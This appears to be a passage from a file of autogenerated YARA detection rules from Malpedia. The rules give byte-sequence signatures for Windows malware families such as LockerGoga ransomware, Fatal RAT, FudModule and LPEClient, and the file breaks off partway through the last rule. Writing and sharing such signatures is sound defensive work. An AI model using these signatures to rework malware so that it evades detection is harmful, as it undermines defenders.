rule MALPEDIA_Win_Lockergoga_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c3b2e831-52cd-5711-8143-4c283c706434"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockergoga_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "679ed446af7bd76c538308594efebe8a71cc5f0a66dc5648e19b704e8ba83810"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c718 83c618 897dec 3bf3 75eb 8bc7 }
		$sequence_1 = { 84c0 7405 8b7608 eb4e 8b8564ffffff 80780d00 743a }
		$sequence_2 = { c645fc1b e8???????? 8d4db4 c645fc0e e8???????? 8b4d9c 8b06 }
		$sequence_3 = { 56 83c0c8 50 e8???????? 837d9000 c745a800000000 0f8691000000 }
		$sequence_4 = { 57 8d4d9c e8???????? 8b7da0 8b45cc c645fc0b }
		$sequence_5 = { 8365ec00 ff75ec e8???????? 59 0fb6c0 85c0 7408 }
		$sequence_6 = { 51 50 e8???????? 8b45ec 83c408 c7461000000000 c746140f000000 }
		$sequence_7 = { 895108 50 8bce e8???????? 8b560c 8d4508 50 }
		$sequence_8 = { 6a08 8975ec c7450800000000 c70600000000 c7460400000000 c7460800000000 c7460c00000000 }
		$sequence_9 = { 8b4da0 c6400100 8808 e9???????? b8ffffff7f 2bc1 83f801 }
	condition:
		7 of them and filesize < 2588672
}

rule MALPEDIA_Win_Paladin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea744185-35d7-56b0-b303-642060848578"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.paladin_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "666d7127e3e5da62ea89e9776cb09bdea95055b6e6b5094287262ef9a36c1b71"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5d00 3bdd 7447 8d4c2414 6a00 8bc3 8b1b }
		$sequence_1 = { 03fd ff15???????? 8b4620 85c0 7e44 33c9 8a4e1c }
		$sequence_2 = { 40 3bc6 7cf2 6a00 }
		$sequence_3 = { 894664 8b465c 6a00 57 8b3d???????? 6a00 }
		$sequence_4 = { 7c02 8bc1 57 8bce 894638 e8???????? }
		$sequence_5 = { c1e004 03c2 33d2 8a11 8d04c0 8d0443 }
		$sequence_6 = { e8???????? 8d442418 6a04 50 8bcb e8???????? 8d4c2424 }
		$sequence_7 = { 6a00 6880000000 6a03 6a00 6a01 8d451c 6800000080 }
		$sequence_8 = { 56 ff95a4feffff 85c0 7412 6820030000 }
		$sequence_9 = { 8d69f3 55 e8???????? 8bf0 55 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Laziok_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "79b2ce92-e42d-5fec-a687-7e4fbea19571"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laziok_auto.yar#L1-L101"
		license_url = "N/A"
		logic_hash = "621f5999fd77cd3089a05c94f9c8d680d38cd15a4fe64826e89765eb3b0323fd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 751a ff7610 ff15???????? 56 }
		$sequence_1 = { 59 85c0 740a 8b4c240c 8b742408 8901 }
		$sequence_2 = { 8bc6 5e c20800 55 8bec 81ec04010000 }
		$sequence_3 = { 668945f0 8b4604 8945f4 0fb74608 }
		$sequence_4 = { ff74240c 33f6 ff35???????? e8???????? }
		$sequence_5 = { 668945f2 8b460c 85c0 7404 8b00 eb03 }
		$sequence_6 = { 7513 6a00 ff7510 ff750c ff7608 ff15???????? eb3f }
		$sequence_7 = { e8???????? 59 59 85c0 740d 3bc7 }
	condition:
		7 of them and filesize < 688128
}

rule MALPEDIA_Win_Woody_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8c748e16-00b8-5127-9604-d62e3d04f71e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woody"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woody_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "3fdba1a84cd03f528c200b6a293fddfa54111448f7301420a9273bbb05f0134b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 83e103 c744241004010000 f3a4 bfc0a60110 83c9ff f2ae }
		$sequence_1 = { 8d4ddc 51 ff75e8 50 ff15???????? 85c0 0f8417010000 }
		$sequence_2 = { 83c008 83c308 3b4510 75e7 8b4604 50 894508 }
		$sequence_3 = { 5d 5b c20800 8b5114 8b690c 8b4910 8bc2 }
		$sequence_4 = { ff15???????? 85c0 7404 b001 5e c3 }
		$sequence_5 = { 83c408 85f6 751e 68ee050000 50 }
		$sequence_6 = { 5e 83c2fc 895508 895108 5d c20400 55 }
		$sequence_7 = { 89742458 0f8c78ffffff 8b442454 8d0c92 8b542448 5f c1e102 }
		$sequence_8 = { 8ba880000000 85ed 0f84ae000000 8b8884000000 85c9 0f84a0000000 8b443d10 }
		$sequence_9 = { 85c0 7447 6a10 8d45e0 6a00 50 e8???????? }
	condition:
		7 of them and filesize < 409600
}

rule MALPEDIA_Win_Lowzero_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0ac2a079-cc7d-5a01-943f-6fc6cc4cbe31"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowzero_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "f28e102152915a4d88e2eb7305099c61405576886b21971bd223760dea8f3689"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5e 5b c70016000000 33c0 }
		$sequence_1 = { 33c0 8be5 5d c3 e8???????? 5f 5e }
		$sequence_2 = { 5d c3 8b4b3c 894df8 8d81f8000000 3bd0 72e0 }
		$sequence_3 = { 2bce 894df0 8d9b00000000 8d1c31 ff7734 85c0 }
		$sequence_4 = { 4b 75f7 8b4d0c 3b7dfc 0f8255feffff }
		$sequence_5 = { 47 2bc8 8d4602 03c3 3b450c }
		$sequence_6 = { 8b3e 0fb74706 3945f8 0f8c5affffff }
		$sequence_7 = { 83fa40 7310 6a0d ff15???????? 5e 33c0 5b }
		$sequence_8 = { 8b45f8 ff740854 51 56 }
		$sequence_9 = { 8806 46 47 e9???????? 8bda }
	condition:
		7 of them and filesize < 433152
}

rule MALPEDIA_Win_Minipocket_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4bfe3841-9649-5ffe-8c95-c50da79d5d8c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minipocket"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minipocket_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "f99d6584928c86c24bca7d34fc6463d62a033b67ff2c46d0cd8c512898739c50"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f83b 0f87ba000000 8b7df0 8bc7 }
		$sequence_1 = { 488364242800 4533c9 488364242000 488bc8 458d4110 }
		$sequence_2 = { 456bc021 4403c0 ffc7 8bc7 8a0417 84c0 75eb }
		$sequence_3 = { 4c8d9c24d0020000 498b5b18 498b7b20 498be3 }
		$sequence_4 = { c744245492469e5a ff15???????? 488bd8 4883f8ff 0f8412010000 488364243000 488d542450 }
		$sequence_5 = { 410fb70449 6685c0 75ea 413bd3 7419 413bd2 }
		$sequence_6 = { eb11 0fbec0 456bc021 4403c0 ffc7 8bc7 }
		$sequence_7 = { 498b4010 4c8b00 eb30 410fb701 }
		$sequence_8 = { 443bc5 7421 ffc1 4983c204 3bce 72ca 33c0 }
		$sequence_9 = { 7474 ba68000000 488d4d80 e8???????? ba18000000 c7458068000000 488d4c2460 }
	condition:
		7 of them and filesize < 34816
}

rule MALPEDIA_Win_Lilith_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b5f168af-a3f0-50f9-b1ea-d5b831d2999b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lilith_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "24d3c4eccb2438b08f77ee93becbd460d6cfbdd1ec4e6b4842ec58df50e21530"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81784800374300 7409 ff7048 e8???????? 59 c70701000000 8bcf }
		$sequence_1 = { 8b7d08 8bd9 33f6 0f1f00 6a00 }
		$sequence_2 = { e8???????? 8d4dd4 e8???????? 83c418 b9???????? 50 e8???????? }
		$sequence_3 = { 57 56 ff15???????? ff75a0 8b35???????? ffd6 ff75a4 }
		$sequence_4 = { 33c0 663b8880974200 740d 83c002 }
		$sequence_5 = { 8d3c85d04a4300 8b0f 85c9 740b 8d4101 f7d8 1bc0 }
		$sequence_6 = { 8d4dd4 50 e8???????? 8d4db4 e8???????? }
		$sequence_7 = { c7411400000000 6a00 c741140f000000 c7411000000000 68???????? 8801 }
		$sequence_8 = { c745fc00000000 0f57c0 6a00 50 }
		$sequence_9 = { e8???????? 8b0d???????? e8???????? eb10 ff75dc 8b35???????? ffd6 }
	condition:
		7 of them and filesize < 499712
}

rule MALPEDIA_Win_Powerloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c50a3558-9d40-5d02-8dcc-a013fb97306d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerloader_auto.yar#L1-L106"
		license_url = "N/A"
		logic_hash = "c426c342e944500b9eabe80251134c6aa09970a7034e66d9d42756bf84d7595a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b7c2430 85ed 740d }
		$sequence_1 = { e8???????? eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 }
		$sequence_2 = { 33d2 ff15???????? 83f81f 7323 }
		$sequence_3 = { 7441 8b5c2430 85db 741d }
		$sequence_4 = { 8bd0 e8???????? 85ff 740c }
		$sequence_5 = { e8???????? 0fb6d8 84c0 7514 ff15???????? }
		$sequence_6 = { e8???????? 0fb6d8 84c0 7514 }
		$sequence_7 = { eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 }
		$sequence_8 = { e8???????? eb22 33c9 66666666660f1f840000000000 }
		$sequence_9 = { 33d2 c605????????00 e8???????? 0fb6c3 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Fatal_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6ffdc4b6-3750-513f-882d-601b90060611"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fatal_rat_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "3b6c3f51dd6f327df47fc74ff663d2bedf14223af4a9dd48f5c4c4ee2763ed08"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5d c3 55 8bec 8b4508 8b4d0c 2d00803ed5 }
		$sequence_1 = { c3 55 8bec 81ec04020000 53 57 6a7f }
		$sequence_2 = { 68???????? 89470c ff7508 ffd6 8b4f0c 894710 }
		$sequence_3 = { ff15???????? 85c0 894508 0f84e9000000 8b35???????? 68???????? 50 }
		$sequence_4 = { 8d85a4fdffff 56 50 8935???????? ff15???????? 83c40c 6a0a }
		$sequence_5 = { 59 740d 6a00 68???????? ff15???????? c9 c3 }
		$sequence_6 = { 83c310 ebaf 8d4dc0 c645fc01 }
		$sequence_7 = { 57 6a00 ff7508 ffd6 }
		$sequence_8 = { 750c 57 ff15???????? e9???????? 53 8d45fc }
		$sequence_9 = { 50 ff15???????? ff75f4 8946f8 6a00 50 ff15???????? }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Skyplex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b9600ce3-b74e-5061-ac1d-1291ed2f5256"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skyplex_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "30e30eac39bd800313b58f678b351c49e62a23e2940a68311cb3c8e508d044fd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 0f84c8000000 68???????? 8d8538f7ffff 50 e8???????? 83c408 }
		$sequence_1 = { c1f805 57 8d3c85c0af4100 8b07 83e61f c1e606 03c6 }
		$sequence_2 = { 6bc930 8975e0 8db1709c4100 8975e4 eb2a }
		$sequence_3 = { f7bd1cf7ffff 8b849520f7ffff 50 8d8d40fbffff 51 ff15???????? }
		$sequence_4 = { 85c0 7430 68???????? 8d8d38f7ffff 51 }
		$sequence_5 = { 6a01 ff15???????? c78544f6ffff01000000 eb0f 8b8d44f6ffff }
		$sequence_6 = { e8???????? 83c404 99 f7bdc0f6ffff 8b9495c4f6ffff }
		$sequence_7 = { 33f6 33c0 0fbe84c158564100 6a07 c1f804 }
		$sequence_8 = { 755b e8???????? 0fb6c8 85c9 }
		$sequence_9 = { 8b02 8b4df0 51 8b502c ffd2 8945fc 837dfc00 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Atmosphere_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4a1cda9-16c6-5553-aa27-a4261bb4c5d6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmosphere_auto.yar#L1-L110"
		license_url = "N/A"
		logic_hash = "cdc6f699a9e6edd17b2609c792a1b077712e73bd58ad4e35ab98f645501a4fd4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a12 50 8b11 ff12 }
		$sequence_1 = { c20400 56 57 8b7c240c 8bf1 57 ff15???????? }
		$sequence_2 = { 56 f6d8 1bc0 57 83e002 }
		$sequence_3 = { 894114 b001 c20400 8b4114 }
		$sequence_4 = { 57 8bce ff502c 84c0 }
		$sequence_5 = { 8b5104 668b0402 8b542404 668902 }
		$sequence_6 = { ff15???????? 56 8bf8 ff15???????? 83c410 8bc7 }
		$sequence_7 = { 83ec10 8bc4 89642410 50 }
		$sequence_8 = { 57 8bf9 6a2e e8???????? }
		$sequence_9 = { 6a0a 50 8b11 ff12 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Frozenhill_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "67a93804-b581-5120-9731-01f5ce053d83"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.frozenhill"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.frozenhill_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "f77792066de7c23219a214fc531000b7de62e743dbb704f0fcc9770a904b8873"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8be5 5d c3 1b9b0e10769b 0e 10d1 9b }
		$sequence_1 = { ff7508 8d85c8f7ffff 50 ff15???????? 3bf4 }
		$sequence_2 = { 8d85f4feffff 3985e8feffff 7436 8b85e8feffff 0fbe08 83f95c 7428 }
		$sequence_3 = { 05???????? 50 e8???????? 83c404 ebda 5f 5e }
		$sequence_4 = { f3ab a1???????? 33c5 8945fc b9???????? e8???????? 6a73 }
		$sequence_5 = { 8bf4 8b4508 8b4808 51 8b55f8 81c2300c0000 52 }
		$sequence_6 = { 8bf4 8d85f0fdffff 50 6804010000 ff15???????? 3bf4 }
		$sequence_7 = { b874000000 66894586 b85c000000 66894588 b857000000 6689458a b869000000 }
		$sequence_8 = { 5b 8b4df0 33cd e8???????? 81c480030000 }
		$sequence_9 = { 8945fc b9???????? e8???????? c745f400000000 c745e800000000 c745dc00000000 c745d000000000 }
	condition:
		7 of them and filesize < 2652160
}

rule MALPEDIA_Win_Astralocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "61f3cae7-a5fe-5b6d-bea1-61609c1203ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.astralocker_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "b238aeedb1c86d89326b9be21dc83bdad9113ec500a78f62720bc92f0fb68cd1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33d2 33f6 891401 89740104 b808000000 6bc800 8b5508 }
		$sequence_1 = { 51 8b14d0 52 e8???????? 83c408 8945f4 8955f8 }
		$sequence_2 = { 891401 89740104 b808000000 6bc800 }
		$sequence_3 = { 891401 89740104 b808000000 6bc800 8b5508 8b440a04 }
		$sequence_4 = { 8955f0 ba08000000 6bf200 8b45ec }
		$sequence_5 = { ba08000000 6bf200 8b45ec 8b55f0 b11a }
		$sequence_6 = { 6bc80a 8b5508 33c0 33f6 89040a }
		$sequence_7 = { 6bc20a 8b4d08 33d2 33f6 891401 89740104 }
		$sequence_8 = { 8b5508 8b440a04 50 8b0c0a 51 e8???????? }
		$sequence_9 = { 8b4508 8b4cd004 51 8b14d0 52 e8???????? 83c408 }
	condition:
		7 of them and filesize < 191488
}

rule MALPEDIA_Win_Socks5_Systemz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4e63ffd3-d637-54dc-963b-d590dcc87c41"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socks5_systemz_auto.yar#L1-L105"
		license_url = "N/A"
		logic_hash = "9d56f402c3f1fd51548e0c2bff2c38c0e563ae0abe552efe04d2796d89f7c180"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf1 6a4c e8???????? 8bc8 83c404 894c240c c744241800000000 }
		$sequence_1 = { 50 ff7314 ff7310 e8???????? 8b4310 83c410 }
		$sequence_2 = { ff10 56 8b35???????? 6a00 ffd6 50 ffd3 }
		$sequence_3 = { 83c148 e9???????? c3 b8???????? }
		$sequence_4 = { 8b4dec 83c134 e9???????? 8b542408 8d42e4 8b4ae0 }
		$sequence_5 = { 8975a0 e9???????? 8b45a0 6aff }
		$sequence_6 = { 33ed 896c2414 eb0d 50 ff15???????? 8be8 }
		$sequence_7 = { 8d44240c 50 8d4c2414 e8???????? c744241c01000000 89742420 c74424380f000000 }
	condition:
		7 of them and filesize < 1417216
}

rule MALPEDIA_Win_Fudmodule_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e6e3f32-6e1c-5a24-9698-45bfa215e2d1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fudmodule_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "4035950c3484d09b89067be960d8e0c73dab8587b168d82e14a4974f9d87cb3f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 660fb3e9 53 f6dd 660fbbe2 57 }
		$sequence_1 = { 4801e3 fec8 66c1cf03 d2e8 }
		$sequence_2 = { 498b8c24e0090000 e8???????? 4983bc24d809000000 488bb42480000000 488b5c2478 }
		$sequence_3 = { f9 4801e3 e9???????? 660fbec2 58 e9???????? f5 }
		$sequence_4 = { 41ffd5 85c0 782d 488bd6 }
		$sequence_5 = { 30db 80db4a 00eb 83c101 fec3 }
		$sequence_6 = { e8???????? 498bcc e8???????? 8d7514 }
		$sequence_7 = { 4963c3 488d4c2458 8b540460 4c8d440460 }
		$sequence_8 = { 0fb6c3 f6d0 0f9cc0 58 e9???????? }
		$sequence_9 = { 488bce e8???????? 85c0 7403 83cf08 488bce }
		$sequence_10 = { 488d3c01 ff15???????? 488d55b0 488bc8 488d442440 }
		$sequence_11 = { 4883c420 b37a e9???????? 0f855b73ffff 66d3fe }
		$sequence_12 = { 488d8c246ed9e517 f5 f8 4889c3 488d3ced1b6cb3bd }
		$sequence_13 = { 4889542420 4c8d442430 41b908000000 488bd3 488bc8 }
		$sequence_14 = { c745b073734e6f c745b474696679 c745b8526f7574 c745bc696e6545 66c745c07800 }
		$sequence_15 = { fecb 4889e8 b377 b301 660fa3d2 0fbae207 }
	condition:
		7 of them and filesize < 795648
}

rule MALPEDIA_Win_Lpeclient_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "74413435-5011-52f6-9527-2aa5c727e8b5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lpeclient_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "b5d510f66f1063fb0bc5e208227e246c4a78a2503ab8649007e1796f9f802e10"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d5c3e04 b8fcffffff 2bc7 8b7c2430 03f8 81ff00100000 }
		$sequence_1 = { 488d05ddf80000 483947f0 7412 488b0f 4885c9 740a }
		$sequence_2 = { c7450c74006900 c745106f006e00 c745143a002000 c745184b006500 c7451e70002d00 c7452241006c00 }
		$sequence_3 = { 488d0518f90000 483bc8 741a 83b96001000000 7511 e8???????? 488b8b58010000 }
		$sequence_4 = { 4c8d0da1fd0000 33c0 498bd1 448d4008 3b0a 742b ffc0 }
		$sequence_5 = { 48c1e814 488d0dbfd2ffff 83e00f 339481a0a40100 }
